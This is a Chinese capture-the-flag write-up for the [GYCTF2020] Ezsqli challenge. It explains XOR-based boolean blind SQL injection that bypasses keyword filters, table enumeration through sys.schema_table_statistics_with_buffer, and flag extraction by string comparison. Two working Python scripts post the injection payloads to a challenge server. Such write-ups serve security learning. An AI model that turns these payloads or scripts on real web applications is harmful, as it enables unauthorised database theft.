[GYCTF2020]Ezsqli(Mysql逐位比较)

前言

用到异或注入、bool盲注,这题我感觉最重要的还是理解mysql是如何比较字符串的 与利用 逐位比较 来配合盲注

文章目录

        • 前言
        • `sys.schema_table_statistics_with_buffer`查表
        • mysql字符串 逐位比较大小
        • 总结

这题关键过滤了union 、if 、sleep与 information,当然常规的or 和 and也是过滤了的

一开始看到 if 和sleep被过滤了就没有往延时注入、union注入上想

异或注入就成了我的首选!
测试一下

id=1 ^ 1#		Error Occured When Fetch Result.
id=1 ^ 0#		Nu1L

确实符合异或的预期结果,那就确定是用异或注入了,配合bool盲注来做,毕竟返回结果有差异

接着头疼的问题就是information关键字被过滤,那就想着用别的表来查
首先试试:mysql.innodb_table_stats,但不行,再试试sys.schema_table_statistics_with_buffer,发现没被过滤


sys.schema_table_statistics_with_buffer查表

sys.schema_table_statistics查表名的方式跟information_schema差不多:

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

用一个二分法脚本即可爆破出表名:

import requests
import time
url="http://1f776bce-ff04-418c-87fe-031d6abfab73.node3.buuoj.cn/index.php"

flag=''
for i in range(1,300):
    min=32
    max=128
    
    while 1:
        mid=(min+max)//2
        if min==mid:
            flag+=chr(mid)
            print(flag)
            break
        payload="1 ^ (ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))<{})#".format(i,mid)
        print(payload)
        data={
     
            'id':payload
        }
        res=requests.post(url=url,data=data).text
        #print(res)

        if 'Error Occured When Fetch Result.' in res:
            max=mid
        else:
            min=mid
        # if mid>127 or mid<32:
        #     exit()
        time.sleep(0.2)
    time.sleep(0.2)

在这里插入图片描述

但因为sys.schema_table_statistics查不出列段名,这个方法也只能止步于此了,本来想着无列名注入的,但要用到Union,就不可能了


mysql字符串 逐位比较大小

利用mysql比较字符串时是逐位比较的特点:
看懂下图就懂了mysql的逐位比较:
[GYCTF2020]Ezsqli(Mysql逐位比较)_第1张图片
我们测试一下:

id=1 ^ ((select 2)<(select 2))#		Error Occured When Fetch Result.
id=1 ^ ((select 3)<(select 2))#		Nu1L

猜测列段数:从结果说明只有两列

1 ^ ((select 1) > (select * from f1ag_1s_h3r3_hhhhh))		bool(false)
1 ^ ((select 1,1) > (select * from f1ag_1s_h3r3_hhhhh))		Error Occured When Fetch Result.
1 ^ ((select 1,1,1) > (select * from f1ag_1s_h3r3_hhhhh))	bool(false)

这里猜测flag在第二列(至于为什么我也不知道…经验吧)

1 ^ ((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))

脚本:

import requests
import time
url='http://1f776bce-ff04-418c-87fe-031d6abfab73.node3.buuoj.cn/index.php'

def str_hex(s): #十六进制转换 fl ==> 0x666c
    res = ''
    for i in s:
        res += hex(ord(i)).replace('0x','')
    res = '0x' + res
    return res

flag=''
for i in range(1,100):
    for j in range(32,128): 
        #id=1^(ascii(substr(user(),1,1))>10)#
        payload="1 ^ ((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(str_hex(flag+chr(j)))
        #print(payload)

        data={
     
            'id':payload
        }
        r=requests.post(url=url,data=data).text
        #print(r)
        if 'Nu1L' in r:
            pass
        else:
            flag+=chr(j-1)
            print(flag)
            if flag[-1] =='}':
                exit
            break
        time.sleep(0.2)
    time.sleep(0.2)

这里是利用16进制来比较的,因为mysql进行字符串比较字符串时不会区分大小写的,导致Ba大的情况,所以我认为用16进制就可以避免这种情况,但实际用脚本跑出来全是大写的,也就是说还是出现大写字母会大过某些小写字母的情况(搞不懂,不应该啊)
[GYCTF2020]Ezsqli(Mysql逐位比较)_第2张图片
但好在我们是将ASCII从小到大往上遍历,所以起码保证结果都是正确的,只不过都是大写形式,加之flag的组成是16进制的,字母都是小写,所以我们手动把字母转为小写即可


MariaDB [test]> select (select 'B') > (select 'a');
+-----------------------------+
| (select 'B') > (select 'a') |
+-----------------------------+
|                           1 |
+-----------------------------+

MariaDB [test]> select (select 'G') > (select 'f');
+-----------------------------+
| (select 'G') > (select 'f') |
+-----------------------------+
|                           1 |
+-----------------------------+

以上是大写字母大过小写字母的例子
--------------------------------------------------------------
以下是16进制就可以避免上述情况的例子

MariaDB [test]> select (select hex('G')) > (select hex('f'));
+---------------------------------------+
| (select hex('G')) > (select hex('f')) |
+---------------------------------------+
|                                     0 |
+---------------------------------------+

MariaDB [test]> select (select hex('fa')) > (select hex('fA'));
+-----------------------------------------+
| (select hex('fa')) > (select hex('fA')) |
+-----------------------------------------+
|                                       1 |
+-----------------------------------------+

MariaDB [test]> select (select 0x6661) > (select hex('fA'));
+------------------------------------+
| (select 6661) > (select hex('fA')) |
+------------------------------------+
|                                  1 |
+------------------------------------+



总结

1. Mysql比较两个字符串与他们各自的长度无关,与他们比较位的ASCII值有关.

2. MySQL比较两个字符串是不区分大小写的!
比如B(66)a(97)比较,结果是B比a大!

3.直接字符(串)比较字符串就会出现不区分大小写的情况, 但如果是16进制比较字符(串)或16进制比较16进制就不会出现这种情况.

你可能感兴趣的:(SQL注入)